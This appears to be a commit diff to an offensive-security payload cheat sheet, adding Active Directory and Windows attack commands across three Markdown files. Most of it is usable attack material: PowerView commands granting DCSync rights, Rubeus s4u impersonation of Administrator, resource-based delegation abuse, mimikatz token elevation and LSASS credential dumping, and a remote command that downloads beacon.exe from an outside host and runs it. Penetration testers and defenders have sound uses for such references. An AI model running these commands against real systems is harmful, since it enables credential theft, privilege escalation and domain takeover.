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Mimikatz - Elevate token with LSA protection

This commit is contained in:
Swissky 2020-12-09 23:33:40 +01:00
parent 12aab45018
commit 73fdd6e218
3 changed files with 30 additions and 10 deletions
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36
Methodology and Resources/Active Directory Attack.md
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@ -1495,13 +1495,20 @@ NOTE: To not alert the user the payload should hide its own process window and s
To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn) is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : `./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'`
```powershell
# Give DCSync right to the principal identity
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local
```
* WriteDACL on Domain
```powershell
# Give DCSync right to the principal identity
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local
```
* WriteDACL on Group
```powershell
Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1
net group "INTERESTING_GROUP" User1 /add /domain
```
#### WriteOwner
@ -1738,8 +1745,9 @@ Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation
[*] Saving ticket in Administrator.ccache
# Exploit with Rubeus
$ ./Rubeus.exe tgtdeleg /nowrap # this ticket can be used with /ticket:...
$ ./Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:cifs/srv01.domain.com /ptt
$ ./Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /ptt
$ ./Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt
$ dir \\dc.domain.com\c$
```
@ -1777,7 +1785,6 @@ Resource-based Constrained Delegation was introduced in Windows Server 2012.
```powershell
$ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
@ -1787,6 +1794,15 @@ Resource-based Constrained Delegation was introduced in Windows Server 2012.
$Descriptor.DiscretionaryAcl
```
```ps1
# alternative
$SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer M3DC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# alternative
StandIn_Net35.exe --computer m3dc --sid SID_FROM_PREVIOUS_COMMAND
```
5. Use Rubeus to get hash from password
```powershell
@ -1804,7 +1820,7 @@ Resource-based Constrained Delegation was introduced in Windows Server 2012.
6. Impersonate domain admin using our newly created machine account
```powershell
.\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt
.\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
[*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan'
[*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5)

2
Methodology and Resources/Windows - Mimikatz.md
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@ -74,6 +74,8 @@ reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLo
mimikatz # !processprotect /process:lsass.exe /remove
# Finally run the logonpasswords function to dump lsass
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
```

2
Methodology and Resources/Windows - Using credentials.md
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@ -109,6 +109,8 @@ root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3
PS C:\> $SecPassword = ConvertTo-SecureString 'secretpassword' -AsPlainText -Force
PS C:\> $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\USERNAME', $SecPassword)
PS C:\> Invoke-Command -ComputerName DC01 -Credential $Cred -ScriptBlock {whoami}
PS C:\> New-PSSESSION -NAME PSDC -ComputerName COMPUTER01; Invoke-Command -ComputerName COMPUTER01 -ScriptBlock {whoami}
PS C:\> Invoke-Command -ComputerName COMPUTER01 -ScriptBlock {powershell Invoke-WebRequest -Uri 'http://10.10.10.10/beacon.exe' -OutFile 'C:\Temp\beacon.exe'; Start-Process -wait C:\Temp\beacon.exe}
```
## WinRM